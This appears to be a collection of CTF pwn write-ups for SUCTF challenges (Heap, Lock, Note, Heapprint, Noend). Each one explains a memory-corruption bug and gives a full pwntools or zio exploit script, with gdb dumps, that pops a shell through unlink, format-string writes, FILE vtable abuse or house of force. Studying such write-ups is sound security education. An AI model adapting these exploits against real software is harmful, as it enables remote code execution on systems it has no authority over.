耐 不 住 寂 寞 的 Hacker
都 关 注 了 这 个 公 众 号
这一部分是关于PWN的,一起来学习涨姿势吧~
Heap
pwn-heap:
难度:中等
考点:off by one技巧的应用、unlink知识点
漏洞点:在creat函数中
puts("input your data");
read(0, nbytes_4, (unsigned int)nbytes);
strcpy((char *)s, (const char *)nbytes_4);
在输入数据时,会先将数据输进临时的堆块中,并且没有在数据末尾加入00, 而后将数据strcpy进新建的堆中。因此,如果数据填满了临时的堆块空间,strcp y就会把临时块下一块的size字段加入数据拷贝到新建的堆中。这样新建堆的下一 个堆就会被改变size字段,当是释放被改变size的堆时,依据size对进行下一个 堆是否占用检查就会出错,合理构造,可以进行unlink攻击,而后进行got表修改 ,完成rip劫持,得到shell
利用脚本:
from zio import *
import struct
import time
def creat(io,length,payload):
io.read_until('3:show')
io.writeline('1')
io.read_until('input len')
io.writeline(str(length))
io.read_until('input your data')
io.write(payload)
def delet(io,index):
io.read_until('3:show')
io.writeline('2')
io.read_until('input id')
io.writeline(index)
def edit(io,index,payload):
io.read_until('3:show')
io.writeline('4')
io.read_until('input id')
io.writeline(index)
io.read_until('input your data')
io.write(payload)
target=('./test')
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
c2=raw_input("go?")
creat(io,0xa0,'/bin/sh')
creat(io,0xa0,'1'*0x10)
creat(io,0xa0,'2'*0x10)
creat(io,0xa0,'3'*0x10)
creat(io,0xb0,'4'*0x10)
creat(io,0xa0,'5'*0x10)
creat(io,0xa0,'6'*0x10)
creat(io,0xa0,'a'*0xa0)
creat(io,0xa0,'libc:%13$lx')
creat(io,0xa0,'b'*0x10)
creat(io,0xa0,'c'*0x10)
delet(io,'5')
delet(io,'4')
creat(io,0xb8,'8'*0xb8)
edit(io,'7',l64(0x0)+l64(0x91)+l64(0x6020e0)+l64(0x6020e8)+'1'*0x70+l64(0x90)+l64(0x20))
delet(io,'6')
edit(io,'7',l64(0x602030))
io.writeline('t')
edit(io,'4','\x30\x07\x40\x00\x00\x00')
edit(io,'8','1'*0x10)
io.read_until('libc:')
test=io.read(12)
system=int(test,16)-0x20830+0x45390
print hex(system)
edit(io,'7','\x18\x20\x60')
edit(io,'4',l64(system))
io.writeline('t')
delet(io,'0')
io.interact()
Lock
from pwn import *
#p = process('./lock2')
p=remote('pwn.suctf.asuri.org',20001)
p.recv()
p.sendline('123456')
p.recvuntil('K ')
k=p.recvuntil('--')[:-2]
k=int(k,16)
print hex(k)
p.recv()
p.sendline('aa%7$hhn'+p64(k))
p.sendline('aa%7$hhn'+p64(k+4))
p.sendline('aa%7$hhn'+p64(k+20))
p.recvuntil('The Pandora Box:')
addr=p.recvuntil('\n')[:-1]
print addr
addr=int(addr,16)
print "pandora:0x%x"%addr
p.sendline('a'*24)
p.recvuntil('a'*24+'\n')
can = p.recv(7).rjust(8,'\x00')
print hex(u64(can))
p.sendline('a'*34+can+'a'*8+p64(addr))
p.interactive()
Note
from pwn import *
#libc=ELF('./lib/libc-2.24.so')
#p=process('./note',env={'LD_PRELOAD':'./lib/libc-2.24.so'})
libc=ELF('./libc6_2.24-12ubuntu1_amd64.so')
#p=process('./note',env={'LD_PRELOAD':'./libc6_2.24-12ubuntu1_amd64.so'})
p=remote('pwn.suctf.asuri.org',20003)
def add(l,content):
p.recvuntil('Choice>>')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(l))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Choice>>')
p.sendline('3')
p.recvuntil('(yes:1)')
p.sendline('1')
p.recvuntil('Choice>>')
p.sendline('2')
p.recvuntil('Index:')
p.sendline('0')
p.recvuntil('Content:')
addr=p.recvuntil('\n')[:-1]
addr=(u64(addr.ljust(8,'\x00')))
print hex(addr)
libc_base = addr -3930968#3939160#- 3767128 #3939160
print hex(libc_base)
real_io_list=libc_base+libc.symbols['_IO_list_all']
print hex(real_io_list)
real_io_stdin_buf_base=libc_base+libc.symbols['_IO_2_1_stdin_']+0x40
real_system=libc_base+libc.symbols['system']
real_binsh=libc_base+next(libc.search('/bin/sh'),)#0x18AC40
add(0x90-8,'a')
raw_input('step1,press any key to continue')
add(0x90-8,'a'*0x80+p64(0)+p64(0xee1))
raw_input('step2,press any key to continue')
add(0x1000-8,'b'*0x80+p64(0)+p64(0x61)+p64(0xddaa)+p64(real_io_list-0x10))
raw_input('step3,press any key to continue')
#do_one(io,0x90-8,'a'*0x10)
fake_chunk='\x00'*8+p64(0x61)
fake_chunk+=p64(0xddaa)+p64(real_io_list-0x10)
fake_chunk+=p64(0xffffffffffffff)+p64(0x2)+p64(0)*2+p64( (real_binsh-0x64)/2 )
fake_chunk=fake_chunk.ljust(0xa0,'\x00')
fake_chunk+=p64(real_system+0x420)
fake_chunk=fake_chunk.ljust(0xc0,'\x00')
fake_chunk+=p64(1)
vtable_addr=libc_base+0x3bc4c0#0x3BE4C0
payload =fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(real_system)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(real_system)
add(0x90-8,'c'*0x80+payload )
p.sendline('1')
p.sendline('16')
p.interactive()
Heapprint
I made two challenges for SUCTF this
year. I got the ideas when I was exploring
linux pwn technique and I want to share
them with others. Though the logic of the
challenges are extremely easy, the
exploitation may be a little hard. Since only two teams solved one of the challenge and nobody solved the other, I decide to write a wp for them. If you like the writeup, follow me on github
(https://github.com/Changochen)
This challenge is about format-string vuln. No leak. Trigger fmt once and get the shell? How is it even possible?
Program info
[*] '/home/ne0/Desktop/heapprint/heapprint'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
The logic is still simple:
long long d;
d=(long long)&d;
printf("%d\n",(d>>8)&0xFF);
d=0;
buffer=(char*)malloc(0x100);
read(0,buffer,0x100);
snprintf(bss_buf,0x100,buffer);
puts("Byebye");
Bug
Well, fmt obviously.
Exploit
We can only trigger fmt once. As the fmt needs some pointer at the stack, let’s take a look in gdb then.
Set a breakpoint at snprintf
[-------------------------------------code-------------------------------------]
0x55d16cc14a85: mov esi,0x100
0x55d16cc14a8a: lea rdi,[rip+0x2005cf] # 0x55d16ce15060
0x55d16cc14a91: mov eax,0x0
=> 0x55d16cc14a96: call 0x55d16cc14838
[------------------------------------stack-------------------------------------]
0000| 0x7ffc6b683860 --> 0x0
0008| 0x7ffc6b683868 -->
0xe99930963f8b8e00
0016| 0x7ffc6b683870 --> 0x55d16cc14ad0 (push r15)
0024| 0x7ffc6b683878 --> 0x7f8cf2942830 (<__libc_start_main+240>: mov
edi,eax)
0032| 0x7ffc6b683880 --> 0x1
0040| 0x7ffc6b683888 --> 0x7ffc6b683958 --> 0x7ffc6b684fc0 ("./heapprint")
0048| 0x7ffc6b683890 --> 0x1f2f11ca0
.......
0144| 0x7ffc6b6838f0 --> 0x0
0152| 0x7ffc6b6838f8 --> 0x7ffc6b683968 -
-> 0x7ffc6b684fcc
("MYVIMRC=/home/ne0/.vimrc")
0160| 0x7ffc6b683900 --> 0x7f8cf2f13168 --> 0x55d16cc14000 --> 0x10102464c457f
0168| 0x7ffc6b683908 --> 0x7f8cf2cfc7cb (<_dl_init+139>: jmp 0x7f8cf2cfc7a0 <_dl_init+96>)
.......
0232| 0x7ffc6b683948 --> 0x1c
0240| 0x7ffc6b683950 --> 0x1
0248| 0x7ffc6b683958 --> 0x7ffc6b684fc0 ("./heapprint")
Well, we find a pointer to pointer at 0x40. So it’s easy to come up with the idea that try to modify the pointer at 0248 to be 0x7ffc6b683878, which pointers to the return address of main. Then modify it to be one gadget to get the shell.
Easier said than done. Let’s try solving it. To better demonstrate the poc, I will turn off aslr in gdb(Otherwise we will need to bruteforce 4 bit to correctly locate the address of return address)
#payload="%55928d%9$hn", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96: call 0x555555554838
0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
0x555555554aa2: call 0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0
arg[1]: 0x100
arg[2]: 0x555555756010 ("%55928d%9$hn\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
[-------------------------------------code-------------------------------------]
0x555555554a8a: lea rdi,[rip+0x2005cf] # 0x555555755060
0x555555554a91: mov eax,0x0
0x555555554a96: call 0x555555554838
=> 0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov
edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov
edi,eax)
Seems working!
Now modify the return address.
#payload="%55928d%9$hn%35$n", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96: call 0x555555554838
0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
0x555555554aa2: call 0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0
arg[1]: 0x100
arg[2]: 0x555555756010 ("%55928d%9$hn%35$n\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
[-------------------------------------code-------------------------------------]
0x555555554a8a: lea rdi,[rip+0x2005cf] # 0x555555755060
0x555555554a91: mov eax,0x0
0x555555554a96: call 0x555555554838
=> 0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
gdb-peda$ telescope 0x7fffffffdf44
0000| 0x7fffffffdf44 --> 0x727070610000da78
0008| 0x7fffffffdf4c --> 0x4956594d00746e69 ('int')
?? The return address is still the same,but content at 0x7fffffffdf44 has been changed! It seems that when the snprintf process %35$n, it still uses the old value 0x7fffffffdf44 but not the new value 0x7fffffffda78.
So what do we do now? Well, you can read the source of glibc, or you can try the following payload.
#payload="%c%c%c%c%c%c%c%55921d%hn%35$n", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96: call
0x555555554838
0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
0x555555554aa2: call 0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0
arg[1]: 0x100
arg[2]: 0x555555756010 ("%c%c%c%c%c%c%c%55921d%hn%35$n\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 -->
0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0
(push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830
(<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
[-------------------------------------code-------------------------------------]
0x555555554a8a: lea rdi,[rip+0x2005cf] # 0x555555755060
0x555555554a91: mov eax,0x0
0x555555554a96: call 0x555555554838
=> 0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x68a91f9995c84b00
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaa0000da78
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaa0000da78
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaa0000da78
gdb-peda$ telescope 0x7fffffffdf44
0000| 0x7fffffffdf44 ("./heapprint")
0008| 0x7fffffffdf4c --> 0x4956594d00746e69 ('int')
Wow, we successfully changed the return value of main!!! It seems that when snprintf processes the format with $ and those without $ independently. If you want more details, RTFSC.
But we don’t know the address of libc, so if we want to change the return address to be one gadget, we need to brute force 12 bit, plus 4 bit to guess the stack ,we have to brute force 16 bits!
Luckily, we don’t need to. In format-string processing, we have a special symbol *. What’s its usage? Ask google.
With all these combined, we can get shell by bruteforce 5 bits, which is totally acceptable.
from pwn import *
remote_addr="pwn.suctf.asuri.org"
remote_port=20000
p=remote(remote_addr,remote_port)
offset=int(p.recvline().strip('\n'))
offset=(offset<<8)+0x18
offset2=0xd0917
payload='%c'*7+'%'+str(offset-arg)+'d%hn'+'%c'*23+'%'+str(offset2-offset-23)+'d%*7$d%n'
p.sendline(payload)
p.interactive()
Noend
This is a heap challenge. When I was playing the heap one day, I found that if you malloc a extremely large size that ptmalloc can’t handle, it would alloc and use another arena afterward. And this is where the challenge comes from.
Program info
Let’s take a look in the program
[*] '/home/ne0/Desktop/suctf/noend/noend'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
and the main logic of the program is
char* s;
char buf[0x20];
unsigned long long len;
Init();
while(1){
memset(buf,0,0x20);
read(0,buf,0x20-1);
len=strtoll(buf,NULL,10);
s=(char*)malloc(len);
read(0,s,len);
s[len-1]=0;
write(1,s,len&0xFFFF);
write(1,"\n",1);
if(len<0x80)
free(s);
}
return 0;
You can endless alloc a chunk with
arbitrary size, but after you write
something into it ,it gets freed if its size is less than 0x80. So most of the heap pwning techniques don’t work here as you can have only one chunk allocated.
Seems no bug at the first glance. But take a deeper look at the following code.
s=(char*)malloc(len);
read(0,s,len);
s[len-1]=0;
It doesn’t check the status of malloc. If the malloc fails due to some reason, s[len-1]=0 is equal to *(char*)(len-1)=0, which means we can write a \x00 to almost arbitrary address.
Exploit
The leak is easy, and I will skip that part.
Suppose now we have the address of libc libc_base and heap heap_base, what do we do next?
The first idea that comes to me is house of force — by partial overwrite a \x00to the top chunk ptr. But after we do that ,we find that the main arena seems not working anymore..
Here’s a useful POC
int main()
{printf("Before:\n");printf("%p\n",malloc(0x40));printf("Mallco failed:%p\n",malloc(-1));printf("After:\n");printf("%p\n",malloc(0x40));return 0;}
Before:0xee7420Mallco failed:
(nil)After:0x7fb7b00008c0
The pointer malloc returns
is 0x7fb7b00008c0 ??!
You can read the source of glibc for more details. In a word, when you malloc a size that the main arena can’t handle, malloc will try to use another arena. And later allocations will all be handled by the arena. The insteresting part is that, after you switch the arena, if you malloc a extremely big size again, the arena will not change anymore! That means we can partial overwrite the top chunk pointer of this arena and use house of force!
A little debugging after leak the address of another arena (in this case 0x7f167c000020)
Almost same as main arena
gdb-peda$ telescope 0x7f167c000020 100
0000| 0x7f167c000020 --> 0x200000000
0008| 0x7f167c000028 --> 0x0
0016| 0x7f167c000030 --> 0x0
0024| 0x7f167c000038 --> 0x0
0032| 0x7f167c000040 --> 0x0
0040| 0x7f167c000048 --> 0x0
0048| 0x7f167c000050 --> 0x7f167c0008b0 --> 0x0
0056| 0x7f167c000058 --> 0x0
0064| 0x7f167c000060 --> 0x0
0072| 0x7f167c000068 --> 0x0
0080| 0x7f167c000070 --> 0x0
0088| 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0096| 0x7f167c000080 --> 0x0
0104| 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0112| 0x7f167c000090 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0120| 0x7f167c000098 --> 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0128| 0x7f167c0000a0 --> 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
..............
Write the top chunk pointer
gdb-peda$ telescope 0x7f167c000020 100
0000| 0x7f167c000020 --> 0x200000000
0008| 0x7f167c000028 --> 0x7f167c0008b0 --> 0x0
0016| 0x7f167c000030 --> 0x0
0024| 0x7f167c000038 --> 0x0
0032| 0x7f167c000040 --> 0x0
0040| 0x7f167c000048 --> 0x0
0048| 0x7f167c000050 --> 0x0
0056| 0x7f167c000058 --> 0x0
0064| 0x7f167c000060 --> 0x0
0072| 0x7f167c000068 --> 0x0
0080| 0x7f167c000070 --> 0x0
0088| 0x7f167c000078 --> 0x7f167c000a00 --> 0x7f168bfa729a
0096| 0x7f167c000080 --> 0x7f167c0008d0 --> 0x0
0104| 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0
0112| 0x7f167c000090 --> 0x7f167c0008d0 --> 0x0
0120| 0x7f167c000098 --> 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0
0128| 0x7f167c0000a0 --> 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0
....
gdb-peda$ telescope 0x7f167c000a00
0000| 0x7f167c000a00 --> 0x7f168bfa729a
0008| 0x7f167c000a08 --> 0x7f168bfa729a
0016| 0x7f167c000a10 --> 0x7f168bfa729a
0024| 0x7f167c000a18 --> 0x7f168bfa729a
You can see that instead of size 0xFFFFFFFFFFFFFFF, I fake the size to be 0x7f168bfa729a. This is a little confusing? Actually I calculate the size as onegadget+(freehook_addr
top_chunk_addr).
This means that if I malloc(freehook_addr-top_chunk_addr), the size left happens to be onegadget ,and it locates in the address of freehook!This is really hackish. Trigger free and you can get the shell.
Of course you can also
write system into freehook.Although actually you can’t write
exactly system but system+1 into freehook, because the prev inused bit of the top chunk is always set.But it won’t stop you from getting a shell. Try it yourself!
Final Script
from pwn import *
pc='./noend'
libc=ELF('./libc.so.6')
p=process(pc,env={"LD_PRELOAD":'./libc.so.6'})
gdb.attach(p,'c')
#p=remote("pwn.suctf.asuri.org",20002)
def ru(a):
p.recvuntil(a)
def sa(a,b):
p.sendafter(a,b)
def sla(a,b):
p.sendlineafter(a,b)
def echo(size,content):
p.sendline(str(size))
sleep(0.3)
p.send(content)
k=p.recvline()
return k
def hack():
echo(0x38,'A'*8)
echo(0x28,'A'*8)
echo(0x48,'A'*8)
echo(0x7f,'A'*8)
k=echo(0x28,'A'*8)
libcaddr=u64(k[8:16])
libc.address=libcaddr-0x3c1b58
print("Libc base-->"+hex(libc.address))
p.sendline(str(libcaddr-1))
sleep(0.3)
echo(0x38,'A'*8)
p.clean()
echo(0x68,'A'*8)
echo(0x48,'A'*8)
echo(0x7f,'A'*8)
k=echo(0x68,'A'*8)
libcaddr=u64(k[8:16])
old=libcaddr
print("Another arena-->"+hex(old))
raw_input()
target=libc.address+0xf2519+0x10+1 #
onegadget
libcaddr=libcaddr-0x78+0xa00
off=libc.symbols['__free_hook']-8-0x10-libcaddr
echo(0xf0,p64(off+target)*(0xf0/8))
p.sendline(str(old+1))
sleep(1)
p.sendline()
raw_input()
echo(off,'AAAA')
p.recvline()
p.clean()
echo(0x10,'/bin/sh\x00')
p.interactive()
hack()
It is a little pity that nobody solves the challenge heapprint. But what we learned is what matters. So hope you guys enjoy the challenges I make. Feel free to contact me if you have any question.